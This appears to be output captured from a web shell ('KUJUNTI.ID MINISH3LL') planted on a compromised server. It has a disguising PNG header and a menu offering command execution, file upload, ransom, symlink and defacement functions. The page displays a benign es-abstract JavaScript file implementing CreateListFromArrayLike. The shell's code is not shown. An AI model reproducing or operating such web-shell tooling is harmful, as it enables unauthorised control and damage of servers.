\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/infraai.ai/frontend/node_modules/es-abstract/2025/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/infraai.ai/frontend/node_modules/es-abstract/2025/CreateListFromArrayLike.js


'use strict';

var $TypeError = require('es-errors/type');
var isObject = require('es-object-atoms/isObject');

var Get = require('./Get');
var LengthOfArrayLike = require('./LengthOfArrayLike');
var ToString = require('./ToString');

var isPropertyKey = require('../helpers/isPropertyKey');

// https://262.ecma-international.org/16.0/#sec-createlistfromarraylike

module.exports = function CreateListFromArrayLike(obj) {
	var validElementTypes = arguments.length > 1
		? arguments[1]
		: 'ALL'; // step 1

	if (validElementTypes !== 'ALL' && validElementTypes !== 'PROPERTY-KEY') {
		throw new $TypeError('Assertion failed: `validElementType` must be ~ALL~ or ~PROPERTY-KEY~');
	}

	if (!isObject(obj)) {
		throw new $TypeError('Assertion failed: `obj` must be an Object'); // step 2
	}

	var len = LengthOfArrayLike(obj); // step 3
	var list = []; // step 4
	var index = 0; // step 5
	while (index < len) { // step 6
		var indexName = ToString(index); // step 6.a
		var next = Get(obj, indexName); // step 6.b
		if (validElementTypes === 'PROPERTY-KEY' && !isPropertyKey(next)) {
			throw new $TypeError('item ' + indexName + ' is not a valid property key'); // step 6.c
		}
		list[list.length] = next; // step 6.d
		index += 1;	 // step 6.e
	}
	return list; // step 7
};

© KUJUNTI.ID